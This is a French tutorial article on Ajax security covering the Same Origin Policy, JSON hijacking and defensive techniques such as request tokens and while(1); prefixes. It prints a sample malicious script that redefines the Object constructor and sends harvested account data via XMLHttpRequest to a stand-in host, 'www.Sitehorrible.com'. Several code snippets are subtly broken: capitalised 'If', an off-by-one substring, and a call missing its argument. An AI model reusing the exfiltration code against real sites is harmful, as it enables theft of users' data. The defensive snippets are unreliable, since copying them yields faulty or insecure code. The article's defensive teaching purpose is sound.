Comment pallier l'insécurité d'Ajax

Intégré pour les clients, et facile à implémenter pour les développeurs, Ajax est un mode de communication entre client et serveur qui donne tout son intérêt aux API Web. Récemment, plusieurs compagnies de sécurité Internet, (comme Fortify Software et WhiteHat Security) ont rappelé les problèmes liés à la sécurité d'Ajax.

Sachant qu'Ajax gagne en popularité, il devient nécessaire de s'informer sur ces problèmes et d'apprendre à en éviter les failles, avant de d'incorporer la technologie aux applications nouvelles et/ou existantes.

Same Origin Policy

Les applications Ajax utilisent JavaScript pour transférer les données entre le serveur et le client. Cette méthode engendre la vulnérabilité des navigateurs Web qui ne sont pas conçus pour utiliser JavaScript pour communiquer des informations confidentielles.

Same Origin Policy, qui est implémenté par les navigateurs modernes, présuppose qu'il n'est pas raisonnable de faire confiance au contenu chargé depuis n'importe quel site Web. Sans SOP, JavaScript pourrait, depuis un site hostile, accéder aux informations d'autres sites, telles que login, données bancaires ou autre… Toutefois, SOP contient une faille qui permet à un site d'inclure et d'exécuter du code JavaScript sur un autre site. Cette faille est la principale vulnérabilité d'Ajax.

JSON

Examinons un exemple d'exploitation de cette faille. Une façon populaire de faire transiter des données depuis le serveur vers le client en utilisant Ajax s'appelle JSON (Java Script Object Notation). La syntaxe JSON est un sous-ensemble de la syntaxe littérale objet JavaScript.

La notation JSON ressemble à cela :

[{"accountName":"Checking","accountNumber": "12324234-4", "accountBalance" : "78.99"},
{"accountName": "Savings", "accountNumber": "23456567-1", "accountBalance" : "34566.56"},
{"accountName":"Overdraft","accountNumber": "34566234-1", "accountBalance" : "98764.99"}]

Quand le navigateur client analyse et décompose la structure JSON ci-dessus, une autre page malveillante peut être témoin de cette analyse et, en redéfinissant une fonction, être responsable de la création de nouveaux objets. Le code malveillant peut extraire les informations de sécurité des objets et les transmettre au site malveillant.

Voici un exemple de code malicieux :

<script>
function Object() {
this.accountNumber = extractSecData();
}

function extractSecData(x) {
var secData = "";
for (fld in this) {
		secData += fld + ": " + this[fld] + ", "
}
secData += "accountNumber: " + x;
var req = new XMLHttpRequest();
req.open("GET", "www.Sitehorrible.com?secData=" 
  + escape(secData),true);
req.send(null);
}
</script>

Les solutions pour sécuriser une application

» Utiliser un framework Ajax
Une façon de protéger un site contre le détournement de code JavaScript est d'utiliser un des framework Ajax qui sont préprogrammés (pas tous encore, c'est vrai) pour se défendre contre les attaques. Les statistiques montrent qu'un quart de tous les utilisateurs d'Ajax créent leurs propres mécanismes Ajax propriétaire. Ce fait est alarmant car les développeurs non éduqués laissent très fréquemment des failles de sécurité dans leurs applications, lesquelles rendent ces applications vulnérables aux attaques.

» Refuser des requêtes malveillantes
Si le choix de développer son propre mécanisme Ajax a été fait, il y existe heureusement une possibilité de protéger son application Ajax des attaques. La solution consiste à attacher un paramètre difficile à deviner à chaque requête serveur, par exemple en ajoutant un cookie à la requête et en contrôlant sa valeur sur le serveur : si les deux valeurs correspondent, la requête est considérée valide. Par exemple :

<script>
function sendRequest() {
var req = new XMLHttpRequest();
var cookie = "cookie="+escape(document.cookie);
req.open("POST", someUrl, true);
req.send(cookie);
}
</script>

» Prévenir l'exécution directe de la réponse

Une autre tactique consiste à éviter que la réponse ne s'exécute directement, risquant donc de procéder à des opérations non voulues. Pour cela, il existe deux approches qui préviennent l'exécution directe de l'objet de réponse depuis le site malveillant.

1. Ajouter des boucles While comme un préfixe à chaque texte de réponse

If (request.readyState == 4) {
		var txt = req.responseText;
If (txt.substring(0,9) == "while(1);")
		txt = txt.substring(10);
}

2. Ajouter des commentaires avant et après les expressions JSON. Le client doit enlever les commentaires avant d'évaluer l'objet de réponse.

If (request.readyState == 4) { var txt = req.responseText; If (txt.substring(0,2) == "/*") txt = txt.substring(2,txt.length - 2); }